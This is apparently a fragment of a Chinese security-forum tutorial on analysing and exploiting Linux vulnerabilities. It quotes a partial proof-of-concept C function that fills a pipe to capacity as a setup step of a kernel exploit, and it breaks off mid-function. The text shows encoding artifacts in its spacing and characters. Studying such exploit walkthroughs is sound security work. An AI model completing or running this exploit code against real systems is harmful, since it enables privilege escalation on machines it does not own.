看雪Linux平臺(tái)漏洞分析、利用和挖掘
從POC看漏洞利用流程
限于篇幅,這里截取POC的部分代碼。
static void prepare_pipe(int p[2]){
? ?if (pipe(p)) abort();
? ?// 獲取Pipe可使用的最大頁(yè)面數(shù)量
? ?const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
? ?static char buffer[4096];
? ?// 任意數(shù)據(jù)填充
? ?for (unsigned r = pipe_size; r > 0;) {
? ? ? ?unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
? ? ? ?write(p[1], buffer, n);
? ? ? ?r -= n;
? ?}
標(biāo)簽: